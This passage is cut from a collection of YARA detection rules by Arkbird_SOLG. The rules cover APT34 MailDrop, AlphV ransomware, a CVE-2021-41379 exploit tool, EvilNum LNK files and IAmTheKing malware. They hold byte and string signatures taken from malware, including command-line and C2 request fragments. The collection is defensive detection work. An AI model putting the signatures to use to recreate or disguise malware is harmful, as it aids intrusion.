		$s3 = { 68 1d c7 45 00 64 ff 30 64 89 20 8b c3 e8 d8 89 fa ff 8d 45 fc ba 00 01 00 00 e8 17 90 fa ff c7 45 f8 ff 00 00 00 8d 45 f8 50 8d 45 fc e8 d0 8e fa ff 50 e8 f6 af fa ff c7 45 f4 ff 00 00 00 c7 45 f0 ff 00 00 00 8d 45 ec 50 8d 45 f0 50 8d 85 ec fd ff ff 50 8d 45 f4 50 8d 85 ec fe ff ff 50 8d 45 fc e8 9a 8e fa ff 50 6a 00 e8 d6 af fa ff 85 c0 0f 84 6d 01 00 00 8d 85 ec fe ff ff 50 e8 ba af fa ff 85 c0 0f 84 59 01 00 00 8d 85 ec fe ff ff 50 e8 7e af fa ff 8b f0 8d 85 ec fe ff ff 50 e8 80 af fa ff 0f b6 38 8b c3 ba 34 c7 45 00 e8 89 89 fa ff 80 3e 00 75 }
		$s4 = { a1 9c c2 49 00 8b 00 e8 e3 82 01 00 8b 93 88 01 00 00 8b 08 ff 51 54 8b f8 85 ff 7c 15 a1 9c c2 49 00 8b 00 e8 c6 82 01 00 8b d7 8b 08 ff 51 18 8b f0 6a 01 56 e8 e1 f2 fc ff 8b c3 e8 be 17 00 00 8a 93 84 01 00 00 e8 2f 61 00 00 33 c0 5a 59 59 }
		$s5 = { 45 72 72 6f 72 20 5b 25 64 5d 3a 20 25 73 2e 0d 22 25 73 22 3a 20 25 73 00 00 ff ff ff ff 0a 00 00 00 4e 6f 20 6d 65 73 73 61 67 65 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 300KB and all of them
}

rule ARKBIRD_SOLG_APT_APT_34_Maildrop_Mar_2021_1 : FILE
{
	meta:
		description = "Detect MailDrop malware used by APT34"
		author = "Arkbird_SOLG"
		id = "a17c4e0b-9bbb-594d-8551-5c146e6a601e"
		date = "2021-04-03"
		modified = "2021-04-09"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-03/APT34/APT_APT_34_MailDrop_Mar_2021_1.yar#L1-L24"
		license_url = "N/A"
		logic_hash = "f55192044bf8e190dfdc18aeaac543a5022643ea242e75ff2492939ae6e1814c"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "d6b876d72dba94fc0bacbe1cb45aba493e4b71572a7713a1a0ae844609a72504"
		hash2 = "ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393"
	strings:
		$EWSInitCom = { 7e ?? 00 00 04 28 ?? 00 00 06 ?? 4f [0-3] 02 7b ?? 00 00 04 28 ?? 00 00 06 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 02 7b ?? 00 00 04 28 ?? 00 00 06 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 7e ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 06 7e 06 00 00 04 28 ?? 00 00 06 [2-4] 00 00 [3-4] 00 00 [3] 00 00 [3] 00 00 [3] 00 00 }
		$EWSCom = { 13 30 ?? 00 ?? 00 00 00 00 00 00 00 02 28 ?? 00 00 ?? 02 03 05 0e 04 0e 05 0e 06 [0-4] 73 ?? 00 00 06 7d ?? 00 00 04 04 [2-6] 00 00 ?? 02 ?? 7d ?? 00 00 04 [0-2] 02 ?? 7d ?? 00 00 04 [2-4] 00 00 [0-18] 04 02 28 ?? 00 00 06 2a }
		$EWSDecrypt = { 13 30 03 00 27 00 00 00 ?? 00 00 11 0f 00 20 00 01 00 00 16 28 ?? 00 00 06 28 ?? 00 00 06 0a 0f 00 1f 10 16 28 ?? 00 00 06 0b 02 06 07 28 ?? 00 00 06 2a }
		$EWSRandomData = { 1b 30 ?? 00 ?? 00 00 00 ?? 00 00 11 02 19 28 ?? 00 00 0a 0a 16 0b ?? 35 [0-3] 06 16 6a 16 6f ?? 00 00 0a 26 06 6f ?? 00 00 0a d4 8d ?? 00 00 01 0c 7e ?? 00 00 04 08 6f ?? 00 00 0a 06 08 16 06 6f ?? 00 00 0a b7 6f ?? 00 00 0a 07 17 d6 0b 07 1f 32 32 c6 [5-11] 06 6f ?? 00 00 0a dc 2a [0-1] 01 10 00 00 02 00 08 00 }
		$s1 = "HMicrosoft Office/15.0 (Windows NT {0}; Microsoft Outlook 15.0.4675; Pro)" fullword ascii
		$s2 = "https://{0}/ews/exchange.asmx" fullword wide
		$s3 = "Send_Log" fullword ascii
		$s4 = "CheckEWSConnection" fullword ascii
		$s5 = "Done:D" fullword wide
		$s6 = "ExecAllCmds" fullword ascii
		$s7 = "ExchangeUri" fullword ascii
		$s8 = "get_cmdSubject" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and 2 of ( $EWS* ) and 5 of ( $s* )
}

rule ARKBIRD_SOLG_RAN_ALPHV_Dec_2021_1 : FILE
{
	meta:
		description = "Detect AlphV ransomware (Nov and Dec 2021)"
		author = "Arkbird_SOLG"
		id = "5c758dc9-b1dc-58e0-b443-6f78e27ffefe"
		date = "2021-12-09"
		modified = "2021-12-18"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-09/RAN_ALPHV_Dec_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "416ebea98f660dd9fad27c3be0c79e47bc69e08fe4be7db76a71462d2c5ada49"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83"
		hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e"
		hash3 = "cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae"
		hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161"
		tlp = "white"
		adversary = "BlackCat"
	strings:
		$s1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24 [2] 00 00 }
		$s2 = { 85 f6 74 47 8b 3d ?? e1 ?? 00 85 ff 0f 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 c0 0f 84 99 01 00 00 89 c1 31 c0 f0 0f b1 0d ?? e1 ?? 00 0f 84 f0 fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 e1 fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 32 03 00 00 89 c6 a3 ?? e1 ?? 00 8b 3d ?? e1 ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 09 03 00 00 89 c7 a3 ?? e1 ?? 00 89 74 24 18 e8 [2] 04 00 8b 35 ?? e1 ?? 00 89 44 24 14 85 f6 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 b8 01 00 00 89 c6 a3 ?? e1 ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 0c 01 00 00 6a 00 50 e8 [2] 04 00 83 }
		$s3 = { 8b 38 89 4d ec 89 55 ?? 74 34 a1 ?? e1 ?? 00 85 c0 75 0e e8 [3] 00 85 c0 74 14 a3 ?? e1 ?? 00 53 6a 00 50 e8 [3] 00 89 c6 85 c0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff 0f 0b be 01 00 00 00 53 57 56 e8 [3] 00 83 c4 0c 8d 04 1e 8d 4d }
		$s4 = { 83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50 57 e8 [3] 00 83 f8 ff 0f 84 ?? 02 00 00 f6 45 9c ff }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 300KB and all of ( $s* )
}


rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_3 : CVE_2021_41379 FILE
{
	meta:
		description = "Detect exploit tool using CVE-2021-41379 (variant 3)"
		author = "Arkbird_SOLG"
		id = "c82578d6-63ca-50f6-b105-321791ec8808"
		date = "2021-11-26"
		modified = "2021-11-29"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_3.yara#L1-L27"
		license_url = "N/A"
		logic_hash = "559c4ca0e9ac60e3dd7d5b9a8eb22d887b0b436d4e1fc528e05e7a33ecce0aa6"
		score = 75
		quality = 75
		tags = "CVE-2021-41379, FILE"
		hash1 = "0dcda614c0128813bf74802f0e98ffd5ec32a40f35ed42778a5ec5984b5adf47"
		hash2 = "3c78e07924e1503be1f8785c23d0dd813f04211992cbd6a4955cd0e25c745735"
		hash3 = "57ec6e15bcc9c79c118f97103815bd74226d4baae334142890a52fbbc5006f1b"
		hash4 = "9d24383e50e61257c565e47ec073cbb2cd751b6f650f0d542b0643dbe6691b3c"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 8d 0d [2] 03 00 e8 [2] ff ff 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 ff 15 [2] 03 00 3d 24 }
		$s2 = { 33 d2 48 8b 4d 08 ff 15 [2] 03 00 c7 45 24 00 00 00 00 48 8d 55 24 48 8b 4d 08 ff 15 [2] 03 00 48 8b 4d 08 ff 15 [2] 03 00 ff 15 [2] 03 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [2] 03 00 48 89 45 48 48 c7 45 68 00 00 00 00 4c 8d 45 68 ba ff 01 0f 00 48 8b 4d 48 ff 15 [2] 03 00 48 8b 4d 48 ff 15 [2] 03 00 48 c7 85 88 00 00 00 00 00 00 00 48 8d 85 88 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 41 b9 02 00 00 00 45 33 c0 ba ff 01 0f 00 48 8b 4d 68 ff 15 [2] 03 00 48 8b 4d 68 ff 15 [2] 03 00 41 b9 04 00 00 00 4c 8d 45 24 ba 0c 00 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 8b f8 33 c0 b9 18 00 00 00 f3 aa 48 8d 85 e0 00 00 00 48 8b f8 33 c0 b9 68 00 00 00 f3 aa c7 85 e0 00 00 00 68 00 00 00 b8 05 00 00 00 66 89 85 20 01 00 00 48 8d 05 [2] 02 00 48 89 85 f0 00 00 00 41 b8 04 01 00 00 48 8d 95 70 01 00 00 48 8d 0d [2] 02 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 89 44 24 50 48 8d 85 e0 00 00 00 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 10 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8d 95 70 01 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d a8 00 00 00 ff 15 [2] 03 00 48 8b 8d b0 00 00 00 ff 15 [2] 03 00 }
		$s3 = { 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 48 8b 4d 08 ff 15 [2] 03 00 48 c7 45 48 00 00 00 00 c7 45 64 00 00 00 00 4c 8d 4d 64 45 33 c0 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 8b 45 64 48 89 85 88 04 00 00 ff 15 [2] 03 00 48 8b 8d 88 04 00 00 4c 8b c1 ba 0c 00 00 00 48 8b c8 ff 15 [2] 03 00 48 89 45 48 4c 8d 4d 64 44 8b 45 64 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 48 8b 45 48 4c 8b 40 10 ba 04 01 00 00 48 8d 8d 90 00 00 00 ff 15 [2] 03 00 ff 15 [2] 03 00 4c 8b 45 48 33 d2 48 8b c8 ff 15 [2] 03 00 48 8b 4d 28 ff 15 [2] 03 00 c7 85 b4 02 00 00 01 00 00 00 c7 85 d4 02 00 00 00 00 00 }
		$s4 = { 68 00 00 00 80 6a 00 6a 00 ff 15 24 f0 43 00 3b f4 e8 bf 5b ff ff 89 45 f8 8b f4 6a 01 68 34 84 43 00 8b 45 f8 50 ff 15 20 f0 43 00 3b f4 e8 a2 5b ff ff 89 45 ec 8b f4 ff 15 2c f1 43 00 3b f4 e8 90 5b ff ff 3d 24 }
		$s5 = { f3 ab a1 0c d0 43 00 33 c5 89 45 fc b9 d9 10 44 00 e8 55 9c ff ff 8b 45 08 89 45 f4 b9 0c 00 00 00 be a4 7e 43 00 8d bd ec f7 ff ff f3 a5 68 d0 07 00 00 6a 00 8d 85 1c f8 ff ff 50 e8 bd 95 ff }
		$s6 = { 8b f4 6a 00 8b 45 f4 50 ff 15 88 f0 43 00 3b f4 e8 8d 67 ff ff c7 45 e8 00 00 00 00 8b f4 8d 45 e8 50 8b 4d f4 51 ff 15 c8 f0 43 00 3b f4 e8 6f 67 ff ff 8b f4 8b 45 f4 50 ff 15 30 f1 43 00 3b f4 e8 5c 67 ff ff 8b f4 ff 15 a4 f0 43 00 3b f4 e8 4d 67 ff ff 8b f4 50 6a 00 68 00 10 10 00 ff 15 b8 f0 43 00 3b f4 e8 36 67 ff ff 89 45 dc c7 45 d0 00 00 00 00 8b f4 8d 45 d0 50 68 ff 01 0f 00 8b 4d dc 51 ff 15 3c f0 43 00 3b f4 e8 10 67 ff ff 8b f4 8b 45 dc 50 ff 15 30 f1 43 00 3b f4 e8 fd 66 ff ff c7 45 c4 00 00 00 00 8b f4 8d 45 c4 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 8b 4d d0 51 ff 15 38 f0 43 00 3b f4 e8 d4 66 ff ff 8b f4 8b 45 d0 50 ff 15 30 f1 43 00 3b f4 e8 c1 66 ff ff 8b f4 6a 04 8d 45 e8 50 6a 0c 8b 4d c4 51 ff 15 2c f0 43 00 3b f4 e8 a6 66 ff ff 33 c0 89 45 ac 89 45 b0 89 45 b4 89 45 b8 6a 44 6a 00 8d 85 60 ff ff ff 50 e8 36 63 ff ff 83 c4 0c c7 85 60 ff ff ff 44 00 00 00 b8 05 00 00 00 66 89 45 90 c7 85 68 ff ff ff a0 86 43 00 8b f4 68 04 01 00 00 8d 85 50 fd ff ff 50 68 c8 86 43 00 ff 15 58 f1 43 00 3b f4 e8 48 66 ff ff 8b f4 8d 45 ac 50 8d 8d }
		$s7 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 b8 78 00 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 7e 4e 00 00 48 8b d9 33 d2 0f 10 0d 82 4e 00 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 7b 4e 00 00 0f 29 4c 24 30 0f 29 44 24 40 e8 da 42 00 00 4c 8b 03 48 8d 4c 24 20 ba 00 04 00 00 e8 6a f8 ff ff 33 d2 8d 4a 02 ff 15 77 4c 00 00 48 8b 4b 08 48 8d 54 24 20 ff 15 70 4c 00 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 de 34 00 00 48 81 c4 30 08 00 00 }
		$s8 = { 33 d2 48 8b cb ff 15 c6 2c 00 00 83 65 00 00 48 8d 55 00 48 8b cb ff 15 85 2c 00 00 48 8b cb ff 15 1c 2d 00 00 ff 15 86 2c 00 00 33 d2 b9 00 10 10 00 44 8b c0 ff 15 46 2c 00 00 48 83 64 24 68 00 4c 8d 44 24 68 48 8b c8 ba ff 01 0f 00 48 8b d8 ff 15 82 2b 00 00 48 8b cb ff 15 e1 2c 00 00 48 8b 4c 24 68 48 8d 44 24 60 48 83 64 24 60 00 41 b9 02 00 00 00 48 89 44 24 28 45 33 c0 ba ff 01 0f 00 c7 44 24 20 01 00 00 00 ff 15 80 2b 00 00 48 8b 4c 24 68 ff 15 a5 2c 00 00 48 8b 4c 24 60 4c 8d 45 00 41 b9 04 00 00 00 41 8d 51 08 ff 15 1c 2b 00 00 33 c0 48 8d 4d 90 0f 57 c0 48 89 45 80 33 d2 0f 11 44 24 70 8d 58 68 44 8b c3 e8 5b 25 00 00 8d 43 9d 89 5d 90 66 89 45 d0 48 8d 55 10 48 8d 05 e0 33 00 00 41 b8 04 01 00 00 48 8d 0d f3 33 00 00 48 89 45 a0 ff 15 91 2c 00 00 48 8b 4c 24 60 48 8d 44 24 70 48 89 44 24 50 48 8d 55 10 48 8d 45 90 45 33 c9 48 89 44 24 48 45 33 c0 48 83 64 24 40 00 48 83 64 24 38 00 c7 44 24 30 10 00 00 00 83 64 24 28 00 48 83 64 24 20 00 ff 15 9a 2a 00 00 48 8b 4c 24 60 ff 15 ef 2b 00 00 48 8b 4c 24 70 ff 15 e4 2b 00 00 48 8b 4c 24 78 ff 15 d9 }
		$s9 = { 33 d2 33 c9 41 b8 00 00 00 80 ff 15 ba 33 00 00 41 b8 01 00 00 00 48 8d 15 7d 3b 00 00 48 8b c8 48 8b d8 ff 15 d9 33 00 00 48 8b cb 48 8b f8 ff 15 8d 33 00 00 4c 8d 4c 24 20 89 74 24 20 45 33 c0 33 d2 48 8b cf ff 15 ae 33 00 00 8b 5c 24 20 ff 15 64 34 00 00 44 8b c3 ba 0c 00 00 00 48 8b c8 ff 15 33 34 00 00 44 8b 44 24 20 4c 8d 4c 24 20 48 8b d0 48 8b cf 48 8b d8 ff 15 7a 33 00 00 4c 8b 43 10 48 8d 4c 24 30 ba 04 01 00 00 ff 15 46 37 00 00 ff 15 20 34 00 00 4c 8b c3 33 d2 48 8b c8 ff 15 9a 33 00 00 48 8b cf ff 15 11 33 00 00 48 8d 4c 24 30 8b fe ff 15 a4 33 00 00 83 e8 02 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 25KB and 3 of ( $s* )
}



rule ARKBIRD_SOLG_APT_Evilnum_LNK_Jul_2021_1 : FILE
{
	meta:
		description = "Detect LNK file used by EvilNum group"
		author = "Arkbird_SOLG"
		id = "9d570c02-606a-5bff-af7a-9b5ef1e6df90"
		date = "2020-07-13"
		modified = "2021-07-14"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_LNK_Jul_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "d20aadfce6a0246f415f94a62edbf7fd48dcdcd9756a5a8d898a5459633b9350"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "b60ae30ba90f852f886bb4e9aaabe910add2b70278e3a88a3b7968f644e10554"
		hash2 = "bc203f44b48c9136786891be153311c37ce74ceb7eb540d515032c152f5eb2fb"
		hash3 = "fefc9dbb46bc02a2bdccbf3c581d270f6341562e050e5357484ecae7e1e702f3"
		tlp = "white"
		adversary = "EvilNum"
	strings:
		$s1 = "1-5-21-669817101-1001941732-3035937113-1000" fullword wide
		$s2 = "*..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe" fullword wide
		$s3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
		$s4 = "System32 (C:\\Windows)" fullword wide
		$s5 = { 3d 00 25 00 74 00 6d 00 70 00 25 00 5c 00 74 00 65 00 73 00 74 00 2e 00 63 00 26 }
		$s6 = { 3c 00 22 00 25 [5] 25 00 6d 00 64 00 22 00 26 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d }
		$s7 = { 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 41 00 63 00 63 00 65 00 73 00 73 00 6f 00 72 00 69 00 65 00 73 00 5c 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 }
	condition:
		filesize > 60KB and 6 of ( $s* )
}


rule ARKBIRD_SOLG_Tool_Screencapture_Jul_2021_1 : FILE
{
	meta:
		description = "Detect Screen Capture utility"
		author = "Arkbird_SOLG"
		id = "09e4295e-454a-519a-964e-c5295e603aef"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/Tool_ScreenCapture_Jul_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "dff6c722ec001f5e3b5c53b41f8d457ab69ae46316f5dc7bbf1d00eb3d1ed3c8"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "f441e6239b592ac15538a8ba8903e5874283b066050a5a7e514ce33e84237f4e"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = "@MyScreen.jpg" fullword wide
		$s2 = "DISPLAY" fullword wide
		$s3 = "_invoke_watson" fullword ascii
		$s4 = "GdipSaveImageToStream" fullword ascii
		$s5 = { 8b 57 04 89 4d e8 8d 4d e8 51 52 e8 16 0c 00 00 85 c0 74 03 89 47 08 8b 75 e8 81 fe 00 04 00 00 77 18 56 e8 ac f9 ff ff 83 c4 04 84 c0 74 0b 8b c6 e8 9e 15 00 00 8b f4 eb 35 83 c8 ff 2b c6 83 f8 08 72 15 8d 46 08 50 ff 15 f4 30 40 00 83 c4 04 85 }
	condition:
		uint16( 0 ) == 0x5a4d and ( filesize > 8KB and filesize < 60KB ) and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Keylogger_Jul_2021_1 : FILE
{
	meta:
		description = "Detect a keylogger used by IAmTheKing group"
		author = "Arkbird_SOLG"
		id = "186dc5f5-5cc2-551a-a34c-e775085e7f89"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_Keylogger_Jul_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "dfdf5892564b93cd1bf564cfe62e37d9477b5ae0bf20e0f9a44ee97b7e3a99f8"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "4c6995cb65ffeac1272d296eb3273b9fbca7f4d603312a5085b5c3be96154915"
		hash2 = "79d363a163dfb0088545e66404e0213a9e18d5ee66713d7bc906ed97c46b5ca3"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = "sonme hting is wrong x" fullword ascii
		$s2 = { 25 73 25 73 25 73 25 73 }
		$s3 = { 0d 0a 5b 44 41 54 41 5d 3a 0d 0a 00 4c 6f 67 2e 74 78 74 }
		$s4 = { 0d 0a 5b 54 49 4d 45 3a 5d 25 64 2f 25 64 2f 25 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 0d 0a 5b 54 49 54 4c 45 3a 5d }
		$s5 = { 25 73 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 }
		$s6 = { 6a 00 56 ff 75 f8 8d 45 e4 50 ff 75 f0 ff 75 f4 ff 75 08 ff 15 c4 80 40 00 8b f0 3b f7 74 12 56 ff 15 70 80 40 00 85 c0 75 1b 56 ff 15 78 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 25KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Queenofhearts_Jul_2021_1 : FILE
{
	meta:
		description = "Detect QueenOfHearts malware"
		author = "Arkbird_SOLG"
		id = "763b35dd-6515-5ae8-a539-200a3647f074"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfHearts_Jul_2021_1.yara#L1-L23"
		license_url = "N/A"
		logic_hash = "51cb8efddbc635e9a54f58a799e6edcf8eda8ca451ebe85cbce5f6cd20bfb083"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "44eb620879e0c3f80ff95fda5b1e301d471b59e47c4002132df646acfc7cc5ba"
		hash2 = "a63600e5c28a4c1770a53d310ff017abd3cb9c20cb58a85d53df0c06bcae1864"
		hash3 = "f110ebee387c2dfac08beb674a8efec20940bc562c5231e9bb4a90296476c29f"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = "send request error:%d" fullword ascii
		$s2 = "cookie size :%d" fullword wide
		$s3 = "querycode error" fullword wide
		$s4 = { 7b 27 73 65 73 73 69 6f 6e 27 3a 5b 7b 27 6e 61 6d 65 27 3a 27 [1-10] 27 2c 27 69 64 27 3a [1-6] 2c 27 74 69 6d 65 27 3a [3-10] 7d 5d 2c 27 6a 70 67 27 3a }
		$s5 = "PmMytex%d" fullword wide
		$s6 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 25 00 49 00 36 00 34 00 75 00 0d 00 0a }
		$s7 = { 25 00 73 00 5c 00 25 00 73 00 2e 00 6c 00 6f 00 67 }
		$s8 = { 25 00 73 00 5f 00 25 00 63 00 25 00 63 00 25 00 63 00 25 00 63 00 5f 00 25 00 64 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Jackofhearts_Jul_2021_1 : FILE
{
	meta:
		description = "Detect JackOfHearts malware"
		author = "Arkbird_SOLG"
		id = "42d5eadb-dd94-5a15-8a0d-d1e56b58ce2e"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_JackOfHearts_Jul_2021_1.yara#L1-L23"
		license_url = "N/A"
		logic_hash = "6cad69beb7c104ef19beb26ca42b923283a0303c230e30b48dde58f88af4cd42"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = "%appdata%" fullword ascii
		$s2 = "%temp%" fullword ascii
		$s3 = { 43 3a 5c 55 73 65 72 73 5c [2-10] 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c }
		$s4 = "CreateServiceA" fullword ascii
		$s5 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
		$s6 = "\\VarFileInfo\\Translation" fullword wide
		$s7 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 [2-8] 2e 00 6a 00 70 00 67 }
		$s8 = "\\SetupUi" fullword wide
		$s9 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 }
		$s10 = "%s.tmp" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_2 : FILE
{
	meta:
		description = "Detect PowerPool malware (ALPC exploit variant)"
		author = "Arkbird_SOLG"
		id = "2988e9a8-da43-51fb-bd39-44aa1d161120"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_2.yara#L1-L23"
		license_url = "N/A"
		logic_hash = "07d7a6444ddccbf4887de18659147354c9961092bb07ee0148392035a6d27086"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "035f97af0def906fbd8f7f15fb8107a9e852a69160669e7c0781888180cd46d5"
		hash2 = "a72cdb6be7a967d3aa0021d2331b61af84455539e6f127720c9aac9b8392ec24"
		hash3 = "df7b9d972ac83cc4a590f09d74cb242de3442cc9c1f19ed08f62bd6ebc9fc0fd"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
		$s2 = { 2f 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 69 00 6e 00 66 00 6f 00 3d 00 25 00 73 }
